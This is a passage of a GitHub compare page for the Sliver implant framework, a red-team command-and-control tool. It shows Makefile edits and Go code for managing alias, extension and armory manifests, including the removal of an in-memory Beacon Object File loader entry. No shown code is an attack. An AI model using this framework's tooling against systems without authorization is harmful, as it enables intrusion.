mirror of
https://github.com/BishopFox/sliver.git
synced 2026-11-07 17:08:13 -10:00
Compare commits
95
Commits
lib-inject
...
alias-ext
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
63c316e4d7 | ||
|
|
cf8e6ace2e | ||
|
|
131061a015 | ||
|
|
ed18705ccf | ||
|
|
88be0e0846 | ||
|
|
edd330a4e1 | ||
|
|
26c4d04d8d | ||
|
|
283f605351 | ||
|
|
fd82c4b171 | ||
|
|
3d0d61685c | ||
|
|
177358040f | ||
|
|
e4db7d3323 | ||
|
|
7b42983e4f | ||
|
|
441f97ad6f | ||
|
|
efea316519 | ||
|
|
f391f72b04 | ||
|
|
2ebaf3115c | ||
|
|
630adc0e48 | ||
|
|
981aa8b80f | ||
|
|
024f70edc5 | ||
|
|
bf9b3f4aa6 | ||
|
|
5fc94d24bd | ||
|
|
5394f77f4a | ||
|
|
b41ac3a229 | ||
|
|
5c3fd8cb2b | ||
|
|
adbe7c7def | ||
|
|
bfcbb0bba6 | ||
|
|
4495c36853 | ||
|
|
f8d2f30344 | ||
|
|
55752d1109 | ||
|
|
48f7560655 | ||
|
|
92e0f87d44 | ||
|
|
13498da60c | ||
|
|
9c878527a5 | ||
|
|
f81419614d | ||
|
|
368442e094 | ||
|
|
670c4b7f9a | ||
|
|
77693c6be1 | ||
|
|
35bd3fd44a | ||
|
|
a916f8b38b | ||
|
|
fa2645e186 | ||
|
|
597950fa0a | ||
|
|
2acced66f1 | ||
|
|
39a6e13ae4 | ||
|
|
3b7db1dea0 | ||
|
|
46d32e6130 | ||
|
|
815bf3c479 | ||
|
|
a4e28f37de | ||
|
|
ddc94ba556 | ||
|
|
bf484828cd | ||
|
|
8deb2c7bca | ||
|
|
f9c58caa78 | ||
|
|
ba6eda99c8 | ||
|
|
09b441f132 | ||
|
|
08bcff0517 | ||
|
|
a2d63eb4e9 | ||
|
|
cde5b8c2db | ||
|
|
bfed9c9343 | ||
|
|
8adab5786b | ||
|
|
d2a7feba5e | ||
|
|
b4d939bcb9 | ||
|
|
4d068268e2 | ||
|
|
dd52cefc22 | ||
|
|
3c9b8bb2cc | ||
|
|
8af24c9c3e | ||
|
|
5083ca3397 | ||
|
|
57b3ee28a7 | ||
|
|
2468abed25 | ||
|
|
a3cb2bca44 | ||
|
|
122e5bf3b0 | ||
|
|
09a0cc5a67 | ||
|
|
c8a9094a90 | ||
|
|
4247a0ddf8 | ||
|
|
c8834f63ef | ||
|
|
1fd74f69ea | ||
|
|
4dfa46c7ae | ||
|
|
6f8c726863 | ||
|
|
763c46bd37 | ||
|
|
05cc038f2f | ||
|
|
1117f9b9c9 | ||
|
|
8670f50150 | ||
|
|
3613a2ffe3 | ||
|
|
de27a5e132 | ||
|
|
2051abd663 | ||
|
|
8914559aec | ||
|
|
7f84913ab2 | ||
|
|
84494c1ad4 | ||
|
|
33a9fd6eae | ||
|
|
33e72b9601 | ||
|
|
45be3dff80 | ||
|
|
325fd47401 | ||
|
|
526c3c104a | ||
|
|
c4542d8def | ||
|
|
ade83e551f | ||
|
|
a7da3027ac |
No files matched your search
+1
-1
@@ -1,4 +1,4 @@
|
||||
FROM golang:1.17.2
|
||||
FROM golang:1.17.5
|
||||
|
||||
#
|
||||
# IMPORTANT: This Dockerfile is used for testing, I do not recommend deploying
|
||||
|
||||
@@ -3,8 +3,8 @@
|
||||
#
|
||||
|
||||
GO ?= go
|
||||
ENV = CGO_ENABLED=1
|
||||
TAGS = -tags osusergo,netgo,sqlite_omit_load_extension
|
||||
ENV =
|
||||
TAGS = -tags osusergo,netgo,cgosqlite,sqlite_omit_load_extension
|
||||
|
||||
#
|
||||
# Version Information
|
||||
@@ -13,16 +13,21 @@ GO_VERSION = $(shell $(GO) version)
|
||||
VERSION ?= $(shell git describe --abbrev=0)
|
||||
COMPILED_AT = $(shell date +%s)
|
||||
RELEASES_URL = https://api.github.com/repos/BishopFox/sliver/releases
|
||||
PKG = github.com/bishopfox/sliver/client/version
|
||||
CLIENT_ASSETS_PKG = github.com/bishopfox/sliver/client/assets
|
||||
ARMORY_PUB_KEY = RWSBpxpRWDrD7Fe+VvRE3c2VEDC2NK80rlNCj+BX0gz44Xw07r6KQD9L
|
||||
ARMORY_REPO_URL = https://api.github.com/repos/sliverarmory/armory/releases
|
||||
VERSION_PKG = github.com/bishopfox/sliver/client/version
|
||||
GIT_DIRTY = $(shell git diff --quiet|| echo 'Dirty')
|
||||
GIT_COMMIT = $(shell git rev-parse HEAD)
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryPublicKey=$(ARMORY_PUB_KEY) \
|
||||
-X $(CLIENT_ASSETS_PKG).DefaultArmoryRepoURL=$(ARMORY_REPO_URL)"
|
||||
|
||||
|
||||
#
|
||||
@@ -41,54 +46,42 @@ UNAME_P := $(shell uname -p)
|
||||
|
||||
# If the target is Windows from Linux/Darwin, check for mingw
|
||||
CROSS_COMPILERS = x86_64-w64-mingw32-gcc x86_64-w64-mingw32-g++
|
||||
ifneq (,$(findstring cgosqlite,$(TAGS)))
|
||||
ENV +=CGO_ENABLED=1
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
# Programs required for generating protobuf/grpc files
|
||||
PB_COMPILERS = protoc protoc-gen-go protoc-gen-go-grpc
|
||||
ifeq ($(MAKECMDGOALS), pb)
|
||||
K := $(foreach exec,$(PB_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing protobuf util $(exec) in PATH")))
|
||||
endif
|
||||
|
||||
# *** Start Darwin ***
|
||||
# *** Darwin ***
|
||||
ifeq ($(UNAME_S),Darwin)
|
||||
SED_INPLACE := sed -i ''
|
||||
STATIC_TARGET := macos
|
||||
|
||||
endif
|
||||
ifeq ($(UNAME_P),arm)
|
||||
ENV += GOARCH=arm64
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
|
||||
endif
|
||||
# *** End Darwin ***
|
||||
|
||||
# *** Start Linux ***
|
||||
ifeq ($(UNAME_S),Linux)
|
||||
ifeq ($(MAKECMDGOALS), windows)
|
||||
K := $(foreach exec,$(CROSS_COMPILERS),\
|
||||
$(if $(shell which $(exec)),some string,$(error "Missing cross-compiler $(exec) in PATH")))
|
||||
ENV += CC=x86_64-w64-mingw32-gcc CXX=x86_64-w64-mingw32-g++
|
||||
endif
|
||||
endif
|
||||
|
||||
ifeq ($(MAKECMDGOALS), linux)
|
||||
# Redefine LDFLAGS to add the static part
|
||||
LDFLAGS = -ldflags "-s -w \
|
||||
-extldflags '-static' \
|
||||
-X $(PKG).Version=$(VERSION) \
|
||||
-X \"$(PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(PKG).GitDirty=$(GIT_DIRTY)"
|
||||
-X $(VERSION_PKG).Version=$(VERSION) \
|
||||
-X \"$(VERSION_PKG).GoVersion=$(GO_VERSION)\" \
|
||||
-X $(VERSION_PKG).CompiledAt=$(COMPILED_AT) \
|
||||
-X $(VERSION_PKG).GithubReleasesURL=$(RELEASES_URL) \
|
||||
-X $(VERSION_PKG).GitCommit=$(GIT_COMMIT) \
|
||||
-X $(VERSION_PKG).GitDirty=$(GIT_DIRTY)"
|
||||
endif
|
||||
# *** End Linux ***
|
||||
|
||||
#
|
||||
# Targets
|
||||
|
||||
@@ -1,9 +1 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
fs/**
|
||||
@@ -0,0 +1,65 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
AliasesDirName = "aliases"
|
||||
)
|
||||
|
||||
// GetAliasesDir - Returns the path to the config dir
|
||||
func GetAliasesDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, AliasesDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledAliasManifests - Returns a list of installed alias manifests
|
||||
func GetInstalledAliasManifests() []string {
|
||||
aliasDir := GetAliasesDir()
|
||||
aliasDirContent, err := ioutil.ReadDir(aliasDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range aliasDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(aliasDir, fi.Name(), "alias.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
armoryConfigFileName = "armories.json"
|
||||
)
|
||||
|
||||
var (
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
RepoURL: DefaultArmoryRepoURL,
|
||||
}
|
||||
)
|
||||
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
func GetArmoriesConfig() []*ArmoryConfig {
|
||||
armoryConfigPath := filepath.Join(GetRootAppDir(), armoryConfigFileName)
|
||||
if _, err := os.Stat(armoryConfigPath); os.IsNotExist(err) {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
data, err := ioutil.ReadFile(armoryConfigPath)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
var armoryConfigs []*ArmoryConfig
|
||||
err = json.Unmarshal(data, &armoryConfigs)
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
+40
-62
@@ -21,11 +21,11 @@ package assets
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
@@ -33,35 +33,21 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
//go:embed fs/*
|
||||
clientAssetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
func GetRootAppDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
dir := filepath.Join(user.HomeDir, SliverClientDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -73,7 +59,7 @@ func GetExtensionsDir() string {
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
data, err := ioutil.ReadFile(filepath.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
@@ -81,7 +67,7 @@ func assetVersion() string {
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
versionFilePath := filepath.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
@@ -93,9 +79,14 @@ func Setup(force bool, echo bool) {
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
fmt.Printf(`
|
||||
Sliver Copyright (C) 2021 Bishop Fox
|
||||
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
|
||||
This is free software, and you are welcome to redistribute it
|
||||
under certain conditions; type 'licenses' for details.`)
|
||||
fmt.Printf("\n\nUnpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
err := setupDefaultExtensions(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
@@ -107,42 +98,29 @@ func Setup(force bool, echo bool) {
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
func setupDefaultExtensions(appDir string) error {
|
||||
localExtDir := GetExtensionsDir()
|
||||
rootEmbedPath := "fs/extensions"
|
||||
return fs.WalkDir(clientAssetsFs, rootEmbedPath, func(embedPath string, embedDir fs.DirEntry, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localPath := strings.TrimPrefix(embedPath, rootEmbedPath)
|
||||
if embedDir.IsDir() {
|
||||
err := os.MkdirAll(filepath.Join(localExtDir, localPath), 0o700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
data, err := fs.ReadFile(clientAssetsFs, embedPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(localExtDir, localPath), data, 0o600)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
@@ -49,7 +49,7 @@ type ClientConfig struct {
|
||||
// GetConfigDir - Returns the path to the config dir
|
||||
func GetConfigDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := path.Join(rootDir, ConfigDirName)
|
||||
dir := filepath.Join(rootDir, ConfigDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
@@ -86,11 +86,11 @@ func GetConfigs() map[string]*ClientConfig {
|
||||
// ReadConfig - Load config into struct
|
||||
func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
confFile, err := os.Open(confFilePath)
|
||||
defer confFile.Close()
|
||||
if err != nil {
|
||||
log.Printf("Open failed %v", err)
|
||||
return nil, err
|
||||
}
|
||||
defer confFile.Close()
|
||||
data, err := ioutil.ReadAll(confFile)
|
||||
if err != nil {
|
||||
log.Printf("Read failed %v", err)
|
||||
@@ -108,11 +108,11 @@ func ReadConfig(confFilePath string) (*ClientConfig, error) {
|
||||
// SaveConfig - Save a config to disk
|
||||
func SaveConfig(config *ClientConfig) error {
|
||||
if config.LHost == "" || config.Operator == "" {
|
||||
return errors.New("Empty config")
|
||||
return errors.New("empty config")
|
||||
}
|
||||
configDir := GetConfigDir()
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(config.Operator), filepath.Base(config.LHost))
|
||||
saveTo, _ := filepath.Abs(path.Join(configDir, filename))
|
||||
saveTo, _ := filepath.Abs(filepath.Join(configDir, filename))
|
||||
configJSON, _ := json.Marshal(config)
|
||||
err := ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
|
||||
@@ -0,0 +1,66 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
// ExtensionsDirName - Directory storing the client side extensions
|
||||
ExtensionsDirName = "extensions"
|
||||
)
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
dir := filepath.Join(rootDir, ExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetInstalledExtensionManifests - Returns a list of installed extension manifests
|
||||
func GetInstalledExtensionManifests() []string {
|
||||
extDir := GetExtensionsDir()
|
||||
extDirContent, err := ioutil.ReadDir(extDir)
|
||||
if err != nil {
|
||||
log.Printf("error loading aliases: %s", err)
|
||||
return []string{}
|
||||
}
|
||||
manifests := []string{}
|
||||
for _, fi := range extDirContent {
|
||||
if fi.IsDir() {
|
||||
manifestPath := filepath.Join(extDir, fi.Name(), "extension.json")
|
||||
if _, err := os.Stat(manifestPath); os.IsNotExist(err) {
|
||||
log.Printf("no manifest in %s, skipping ...", manifestPath)
|
||||
continue
|
||||
}
|
||||
manifests = append(manifests, manifestPath)
|
||||
}
|
||||
}
|
||||
return manifests
|
||||
}
|
||||
@@ -1,16 +0,0 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -1,4 +1,11 @@
|
||||
Macros
|
||||
Alias
|
||||
===========
|
||||
|
||||
Wraps external DLLs/tool in Sliver console commands.
|
||||
|
||||
|
||||
|
||||
### Format
|
||||
|
||||
* `alias-dir/`
|
||||
* * `manifest.json` -
|
||||
@@ -0,0 +1,75 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// AliasesCmd - The alias command
|
||||
func AliasesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(loadedAliases) {
|
||||
PrintAliases(con)
|
||||
} else {
|
||||
con.PrintInfof("No aliases loaded\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAliases - Print a list of loaded aliases
|
||||
func PrintAliases(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
".NET Assembly",
|
||||
"Reflective",
|
||||
"Help",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
|
||||
for _, alias := range loadedAliases {
|
||||
tw.AppendRow(table.Row{
|
||||
alias.Manifest.Name,
|
||||
alias.Manifest.CommandName,
|
||||
alias.Manifest.IsAssembly,
|
||||
alias.Manifest.IsReflective,
|
||||
alias.Manifest.Help,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
// AliasCommandNameCompleter - Completer for installed extensions command names
|
||||
func AliasCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
results := []string{}
|
||||
for name := range loadedAliases {
|
||||
if strings.HasPrefix(name, prefix) {
|
||||
results = append(results, name)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,90 @@
|
||||
package alias
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import "testing"
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"entrypoint": "foo",
|
||||
"allow_args": true,
|
||||
"default_args": "bar",
|
||||
"is_reflective": true,
|
||||
"is_assembly": true,
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseAliasManifest(t *testing.T) {
|
||||
alias1, err := ParseAliasManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Errorf("Error parsing alias manifest: %s", err)
|
||||
}
|
||||
|
||||
if alias1.Name != "test1" {
|
||||
t.Errorf("Expected name to be 'test1', got '%s'", alias1.Name)
|
||||
}
|
||||
|
||||
if alias1.CommandName != "test1" {
|
||||
t.Errorf("Expected command_name to be 'test1', got '%s'", alias1.CommandName)
|
||||
}
|
||||
|
||||
if alias1.Version != "1.0.0" {
|
||||
t.Errorf("Expected version to be '1.0.0', got '%s'", alias1.Version)
|
||||
}
|
||||
|
||||
if alias1.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo_url to be 'https://example.com/', got '%s'", alias1.RepoURL)
|
||||
}
|
||||
|
||||
if alias1.Help != "some help" {
|
||||
t.Errorf("Expected help to be 'some help', got '%s'", alias1.Help)
|
||||
}
|
||||
|
||||
if alias1.Entrypoint != "foo" {
|
||||
t.Errorf("Expected entrypoint to be 'foo', got '%s'", alias1.Entrypoint)
|
||||
}
|
||||
|
||||
if !alias1.AllowArgs {
|
||||
t.Errorf("Expected allow_args to be true, got false")
|
||||
}
|
||||
|
||||
if alias1.DefaultArgs != "bar" {
|
||||
t.Errorf("Expected default_args to be 'bar', got '%s'", alias1.DefaultArgs)
|
||||
}
|
||||
|
||||
if !alias1.IsReflective {
|
||||
t.Errorf("Expected is_reflective to be true, got false")
|
||||
}
|
||||
|
||||
if !alias1.IsAssembly {
|
||||
t.Errorf("Expected is_assembly to be true, got false")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,174 @@
|
||||
package alias
|
||||
|
